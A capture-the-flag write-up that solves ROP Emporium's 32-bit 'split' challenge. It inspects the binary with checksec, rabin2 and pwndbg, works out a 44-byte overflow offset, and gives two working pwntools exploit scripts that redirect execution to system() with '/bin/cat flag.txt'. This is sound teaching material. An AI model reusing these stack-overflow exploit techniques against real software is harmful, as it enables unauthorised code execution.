ROP Emporium - split (32 bit)

5 minute read

Lets check the file type of our binary using file command,

ra@moni:~/split32$ file split32
split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=76cb700a2ac0484fb4fa83171a17689b37b9ee8d, not stripped

It is a 32 bit not stripped binary, so we can read symbols in it

Lets check the security mitigations of this binary,

ra@moni:~/split32$ checksec split32
[*] '/home/ra/split32/split32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Here NX bit is set, so that we cannot perform execution in stack

To bypass NX/ASLR security mitigations, we have to use ROP Techniques

There are some useful strings in the binary, which might acts as argument for system(),

ra@moni:~/split32$ strings split32 | grep bin
/bin/ls
/bin/cat flag.txt

Lets check their addresses using rabin2,

ra@moni:~/split32$ rabin2 -z split32
[Strings]
nth paddr      vaddr      len size section type  string
-------------------------------------------------------
0   0x000006b0 0x080486b0 21  22   .rodata ascii split by ROP Emporium
1   0x000006c6 0x080486c6 4   5    .rodata ascii x86\n
2   0x000006cb 0x080486cb 8   9    .rodata ascii \nExiting
3   0x000006d4 0x080486d4 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x00000703 0x08048703 10  11   .rodata ascii Thank you!
5   0x0000070e 0x0804870e 7   8    .rodata ascii /bin/ls
0   0x00001030 0x0804a030 17  18   .data   ascii /bin/cat flag.txt

It is noted that /bin/cat flag.txt is inside global variable named usefulString at 0x0804a030

pwndbg> x/s 0x0804a030
0x804a030 <usefulString>:	"/bin/cat flag.txt"

Listing functions from the binary,

pwndbg> info functions

...
0x08048546  main
0x080485ad  pwnme
0x0804860c  usefulFunction
...

Here, main() is used to call pwnme() which is the normal flow of the program

But usefulFunction() seems unusual

Disassembling usefulFunction(),

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804860c <+0>:	push   ebp
   0x0804860d <+1>:	mov    ebp,esp
   0x0804860f <+3>:	sub    esp,0x8
   0x08048612 <+6>:	sub    esp,0xc
   0x08048615 <+9>:	push   0x804870e
   0x0804861a <+14>:	call   0x80483e0 <system@plt>
   0x0804861f <+19>:	add    esp,0x10
   0x08048622 <+22>:	nop
   0x08048623 <+23>:	leave
   0x08048624 <+24>:	ret
End of assembler dump.
pwndbg> x/s 0x804870e
0x804870e:	"/bin/ls"

So this function just lists the files from the current directory using system() with the argument of /bin/ls

This function may not be suitable for our ROP Attack

But we can use our own value from stack to pass this program

This is a simple ret2libc attack

In usefulFunction, the files are listed by

   0x08048615 <+9>:	    push   0x804870e  #"/bin/ls"
   0x0804861a <+14>:	call   0x80483e0 <system@plt>

Now we are going to change our code execution like,

   push   0x0804a030 #"/bin/cat flag.txt"
   call   0x80483e0 <system@plt>

Before that lets find the buffer space,

pwndbg> b *0x080485f6
Breakpoint 1 at 0x80485f6
pwndbg> r
Starting program: /home/ra/split32/split32
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> AAAABBBBCCCCDDDD

Breakpoint 1, 0x080485f6 in pwnme ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 EAX  0x11
 EBX  0x0
 ECX  0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
 EDX  0x60
 EDI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 ESI  0xf7fad000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
 EBP  0xffffd1f8 —▸ 0xffffd208 ◂— 0x0
 ESP  0xffffd1c0 ◂— 0x0
 EIP  0x80485f6 (pwnme+73) ◂— add    esp, 0x10
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
  0x80485f6 <pwnme+73>            add    esp, 0x10
   0x80485f9 <pwnme+76>            sub    esp, 0xc
   0x80485fc <pwnme+79>            push   0x8048703
   0x8048601 <pwnme+84>            call   puts@plt <puts@plt>

   0x8048606 <pwnme+89>            add    esp, 0x10
   0x8048609 <pwnme+92>            nop
   0x804860a <pwnme+93>            leave
   0x804860b <pwnme+94>            ret

   0x804860c <usefulFunction>      push   ebp
   0x804860d <usefulFunction+1>    mov    ebp, esp
   0x804860f <usefulFunction+3>    sub    esp, 8
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 esp 0xffffd1c0 ◂— 0x0
01:0004     0xffffd1c4 —▸ 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
02:0008     0xffffd1c8 ◂— 0x60 /* '`' */
03:000c     0xffffd1cc ◂— 0x4
04:0010 ecx 0xffffd1d0 ◂— 'AAAABBBBCCCCDDDD\n'
05:0014     0xffffd1d4 ◂— 'BBBBCCCCDDDD\n'
06:0018     0xffffd1d8 ◂— 'CCCCDDDD\n'
07:001c     0xffffd1dc ◂— 'DDDD\n'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
  f 0 0x80485f6 pwnme+73
   f 1 0x8048590 main+74
   f 2 0xf7de0ee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────────────────────────

Now lets check our base pointer values and stack values

pwndbg> x/2wx $ebp
0xffffd1f8:	0xffffd208	0x08048590
pwndbg> x/30wx $esp
0xffffd1c0:	0x00000000	0xffffd1d0	0x00000060	0x00000004
0xffffd1d0:	0x41414141	0x42424242	0x43434343	0x44444444
0xffffd1e0:	0x0000000a	0x00000000	0x00000000	0x00000000
0xffffd1f0:	0x080486c6	0x00000000	0xffffd208	0x08048590
0xffffd200:	0xf7fe22f0	0xffffd220	0x00000000	0xf7de0ee5
0xffffd210:	0xf7fad000	0xf7fad000	0x00000000	0xf7de0ee5
0xffffd220:	0x00000001	0xffffd2b4	0xffffd2bc	0xffffd244
0xffffd230:	0xf7fad000	0x00000000

Our BP 0xffffd208 is at 0xffffd1f9 and our buffer starts at 0xffffd1d0

>>> print(0xffffd1f8-0xffffd1d0)
40

So our buffer space is 40 bytes

To ovewrite Instruction Pointer we should pass 44 bytes of junk values

Since it is a 32 bit, we no need to worry about gadgets for ROP

We need the address of function to be called (In this case system())

Next to it, the exit address after the previous functions is executed

Following these, the argument to be passed inside our function to be called (In this case /bin/cat flag.txt)

So our payload can be framed by,

payload = 44 bytes junk + Address of system() + Exit Address + Address of "/bin/cat flag.txt"

So our final exploit is,

ra@moni:~/split32$ cat exp.py
from pwn import *
cat=p32(0x0804a030)
system=p32(0x080483e0)
payload='A'*44
payload+=system
payload+='BBBB'
payload+=cat
print(payload)

Lets try running this,

ra@moni:~/split32$ python2 exp.py | ./split32
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

Our exploit is completed successfully

There is an alternate approach for this too..

0x0804861a <+14>: call 0x80483e0 <system@plt>

In 0x0804861a, system() is called as sub routine program and we don’t have to worry about the exit function address

But argument needed for system() should be passed following it

payload = 44 bytes of junk + Address 0x0804861a + Address of "/bin/cat flag.txt

So our exploit looks like,

ra@moni:~/split32$ cat exp-alt.py
from pwn import *
cat=p32(0x0804a030)
call_system=p32(0x0804861a)
payload='A'*44
payload+=call_system
payload+=cat
print(payload)

Lets try running our exploit,

ra@moni:~/split32$ python2 exp-alt.py | ./split32
split by ROP Emporium
x86

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)

Done! we have completed split (32 bit)